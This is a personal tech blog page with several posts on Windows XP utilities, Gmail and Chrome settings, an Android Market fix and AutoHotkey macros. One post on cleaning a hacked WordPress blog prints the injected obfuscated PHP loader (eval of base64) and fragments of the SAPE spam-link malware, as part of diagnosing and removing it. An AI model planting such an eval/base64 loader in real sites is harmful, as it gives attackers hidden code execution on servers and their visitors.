Lee.org

I just had a hard drive go bad on me so I had to buy a new drive and reinstall Windows. Here’s the software I put back on my computer immediately, the essential software that makes Windows XP useable for me:

WizMouse – lets you scroll a window without you having to give it focus. Brilliantly simple and useful.

Crashplan – I would have lost data if not for this online backup tool.

EditPad Pro – my text editor of choice. It also comes in a free version that’s fine.

Autohotkey – giving me keyboard controls like Ctrl-Alt-C for Calculator and “..4” to automatically type my phone number.

Google Chrome  – the best, fastest, easiest to use, prettiest browser.

• Google Voice Extension  – Along with my Google Voice account, it’s easier to dial a call with this than picking up my phone
• Screen Capture Extension  – an excellent browser screen capture tool
• Speed Dial Extension  – the best homepage for a browser ever

CCCP – the Combined Community Codec Pack lets Windows Media Player play most every video format automatically

Freecalc – by Moffsoft, a better calculator than the built-in Windows one. Easy, clean.

Picasa – the best home picture viewer

Teracopy – replaces windows file copy… the best feature being if a copy fails, I see what happened and can recover, unlike Windows copy

Rename-It! – lets me rename files en-mass

PureText – strips text formatting when pasting.

Put  Windows Explorer in the Quicklaunch toolbar and change the startup options target to “%SystemRoot%\explorer.exe /e,c:\aaa”. More examples.

Set Gmail to be the default email client in Chrome

Disable Windows Search When Searching Windows Explorer

Truecrypt – keeps my passwords safe on my computer.

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The second round of essential software

KFC – Kill Flash Cookies
Filezilla
UltraVNC

The Sysinternals tools are amazing. Filemon to see what is slowing down my hard drive, Pagedefrag to defrag your pagefile.sys. Several tools to help find malware

DVD Decrypter (local archive)

Cleartype – absolutely essential for good text quality on Windows XP! You’ll have to run the page using Internet Explorer to install it.

(via TheDailyBuggle.com)

This will work for you if you have Windows XP. For Windows 7 and a bunch of other ways to do it, refer to his page. (one easy way is to use the Send from Gmail extension.

Ever wanted to send an email directly from Gmail when you click a “contact” or “mailto” link in Google Chrome only to have your desktop email client pop open? Firefox has a quick fix for this already baked in its options, but unfortunately for us Chrome users, Google has yet to officially implement this feature. Fortunately, there are few ways to fix this and set Gmail as the default email in Chrome.

Change the “File Type” Settings

This one’s fairly straightforward. Open a Windows Explorer window, then:

1. Go to Tools > Folder Options > File Types
2. Near the top of the list of filetypes, click on “URL:MailTo Protocol”



3. Click on “Advanced”
4. With “open” highlighted, click on “Edit”
5. In the field under “Application used to perform action, enter this:    “C:\Documents and Settings\USERNAME\Local Settings\Application Data\Google\Chrome\Application\chrome.exe” –app=https://mail.google.com/mail?extsrc=mailto&url=%1
6. (where USERNAME is your Windows user name)

I’m cleaning up yet another spammer attack. This time the SWARM wiki,  a Mediawiki site got attacked.

I’m still diagnosing it but so far the spam only shows it’s head in the following situation:

1. I edit a mediawiki page
2. Hit “Save Page”
3. The spam page appears, which starts out “(Cialis, Levitra, Viagra) Online in Canada” and “He would place his stout woman of thirty-six felt sufficiently flattered by..”

I’m hunting it down… I’ll tell you what I find. If you’ve seen this, please holler.
Apparently Google has seen this on my site for at least a little while :-(

I’ll be presenting my 30 minute bread talk at East Bay Maker Faire, Hurray!

They asked:

If your exhibit uses radio frequencies, please elaborate here about what frequency your exhibit uses.

My answer:

I’ll be using 400 terahertz thru 789 terahertz on stage.

I’m such a comedian.

Since switching from Outlook to Gmail, I’ve been nervous about not being able to back up things like my contacts and email. There’s a new service called Google Takeout that lets me back up lots of my data locally. Sweet!

Here’s where to look:
Google Takeout

The Data Liberation Front – a related Google blog.

I put a note in my calendar to run the backup every couple months. :-)

They currently back up
+1
Buzz
Contacts and Circles
Picasa web albums
Profile
Stream

If you think the following would be a good idea, write a +1 Reply to my post in Suggest a Google Labs Feature.

Subject:Sending email creates a followup calendar item

Sometimes I want to be reminded to followup on an email that I send. I propose that users be able to create Google Calendar items that are automatically populated with email contents.

The best thing is that most of this functionality is already available using the Google Calendar Event Publisher!

Here is proposed functionality:

Next to the email “Send” button, there is a “Send and Calendar” button.
When the “Send and Calendar” button is pushed, first, the email is sent, then a Calendar item is created and displayed.

* The original email Subject is made into the Calendar item Subject, with a prefix of “Followup: ” added.
* The original email Body is made into the Body of the Calendar item.
* The date on the Calendar item is set to a changeable value, n days in the future.
* That’s it. All other Calendar defaults are left the same.

It is then up to the author to either “Save” or “Discard” this new “Followup calendar” item.

I would so love this feature. Please pretty please!

I wiped my Samsung Galaxy S / AT&T Captivate Android phone to try to fix a problem with sound (I’ll hopefully talk about that in a future post). And I came across a problem with the Android Marketplace. It’s possible this problem has existed for a while and I just noticed ithttps://market.android.com/account | Settings reported “There are no Android devices associated with this account”.

There is a lot of discussion and attempted answers on this Google Forum. Here is what fixed the problem for me:

(via) Thanks Droid-Eye!

Droid-Eye
Collapse
A FIX FOR SOME!!!!

For those of you who tried this and it didn’t work, or don’t have phone numbers (tablets,) try this, it worked for me.

On your Android: menu>settings>applications>manage applications>all (tab at top)>Market>clear data.

This will clear your data and log your Android out of the market. When you launch the market app and agree to the terms of service again, it will sign you sign your Android back into the market and it should be visible on the web market.

I have much bemoaned the loss of Etherpad to the Google. The project was open sourced so, in theory, anyone can run an Etherpad server. But it does take a little bit of nerd accumen to get the thing going. I’ve heard of a couple groups that have started servers… PiratePad, TypeWith.me, Sync.in, EtherPad Foundation, iEtherPad.com. But I’ve been wary of trusting most of these guys. I mean, come on, I’m going to write semi-confidential things on PiratePad?

Here’s one I think I can trust:
etherpad.mozilla.org:9000

My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially “Category” pages. You might want to take a peek on your own WordPress blog to make sure it hasn’t happened to you.

Here’s where the bad code was and how I fixed it.

The header.php file of my theme had been altered. It began:

<?define('USE_DIRA', '/blog/wp-content/themes/default/images/'); @eval(@base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs="));?>


That code was obviously running code in my /blog/wp-content/themes/default/images/ directory.

Curiously, the “modified date” on the header.php file must have been hacked. I know this because the file has a “last modifed” date of April 2009, however the backup of my website in October 2010 doesn’t have the spamming code. Therefore, the hacked code must have been added more recently.

2 files had been added to the /blog/wp-content/themes/default/images/ directory on the blog:
403.php
links.db

Here are the most suspicious parts of 403.php

define('_SAPE_USER', '466c19cd8253185aebaab9f182431010');
...
eval(@base64_decode("JGJvdGlwcyA9IGFycmF5KAkN


“SAPE” is a known malware (via)

You should never have any “eval base64” code in your WordPress installation. It’s almost always some piece of code trying to hide itself.
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I removed the malicious code from my header.php and deleted 403.php and links.db from the default theme. Done.
Update: read the comments!

I’ve been using Autohotkey for keyboard macros for a while now. I find it virtually indispensable to work quickly and productively. It rocks.

Here are the most useful macros I use on a regular basis, lifted straight from my AutoHotkey.ahk:

; hit ctrl-space to make the current window always on top. From http://www.labnol.org/software/tutorials/keep-window-always-on-top/5213/
^SPACE:: Winset, Alwaysontop, , A

:o:..3::My address
:o:..4::415-…My phone number
:o:..9::94110

^!r:: ; Run gedit with Ctrl-Alt-r
;IfWinExist, Notepad++
; I found the name of the window by using “AutoIt3 Window Spy”, which comes with autohotkey
IfWinExist, ahk_class gdkWindowToplevel
WinActivate
else
Run, “C:\Program Files\gedit\bin\gedit.exe”
return

^!c:: ; Run Calc with Ctrl-Alt-c
IfWinExist, Moffsoft FreeCalc
WinActivate
else
; Run, calc.exe
Run, “C:\Program Files\Moffsoft FreeCalc\MoffFreeCalc.exe”
return

^!t:: ; Run Truecrypt with Ctrl-Alt-t
IfWinExist, TrueCrypt
WinActivate
else
; Run, calc.exe
Run, “C:\Documents and Settings\Lee\Desktop\My Truecrypt file.tc”
return

^!d:: ; Run Chrome with Ctrl-Alt-d
IfWinExist, New Tab – Google Chrome ; If there is already a blank window, bring it to front
{
WinActivate, New Tab – Google Chrome
}

else
{
IfWinExist, ahk_class Chrome_WidgetWin_0 ; grab a Chrome window and click ctrl-n to make a new window
{
WinActivate
Send ^n
}
}

WinWaitActive, New Tab – Google Chrome, , 1 ; wait to see if the command worked

IfWinNotExist, New Tab – Google Chrome ; if we don’t have a new chrome window by now (IE, clicking ctrl-n didn’t work) then

start it manually
{
Run, “C:\Documents and Settings\Lee\Local Settings\Application Data\Google\Chrome\Application\chrome.exe”
WinWait, New Tab – Google Chrome, , 3
WinActivate, New Tab – Google Chrome
}

return

^!w:: ; Run Windows Explorer with Ctrl-Alt-w
IfWinExist, My Documents
Run, explorer.exe
else
Run, explorer.exe
return

:o:.address::My full address{enter}San Francisco, CA 94110{enter}

:0:.80::123456789012345678901234567890123456 >40< 3456789012345678901234567890123456 >80{enter}

:o:.–::{- 50}{down}{home}
:o:.-=::{- 50}{enter}

:o:.=-::{enter}{- 50}{ENTER}{- 50}{down}{home}
:o:.==::{enter}{- 50}{ENTER}{- 50}{enter}

:o:.ms::——– Original Message ————-{enter}

:o:.me::——– End of Original Message ——{enter}

:o:.ss::—- Start of Snippet —-{home}{down}

:o:.se::—- End of Snippet —-{enter}

:o:.s::San Francisco
:o:.sc::San Francisco, CA
:o:.c:: California

:o:.b::Berkeley
:o:.bc::Berkeley, CA

:o:.date:: ; This hotstring replaces “]d” with the current date and time.
FormatTime, CurrentDateTime,, M/d/yyyy h:mm tt ; It will look like 9/1/2005 3:53 PM
SetKeyDelay 0 ; This sets the keystrokes below to be sent faster than the default.
Send %CurrentDateTime%
return

To get you excited in case you can’t read this configuration file, here are some examples:

:o:..3::My address

I type “..3(Return)” and it replaces that text with my street address. I use this all the time when buying stuff on websites. Oh, it’s a “3” because my address starts with a 3, making it easy to remember

^!d:: ; Run Chrome with Ctrl-Alt-d
…

I hit Control-Alt-D and it starts Google Chrome. Or if there is already a blank Chrome window open, it gives it the focus. This is sooo much faster than picking up the mouse and clicking the icon a thousand times a day.

^!c:: ; Run Calc with Ctrl-Alt-c

Pull up the calculator with a quick key combination

:o:.ms::——– Original Message ————-{enter}

I type “.ms” (short for “message start”) and it replaces it with, well, I’ll let you guess. Similarly, “.me” is short for “message end”.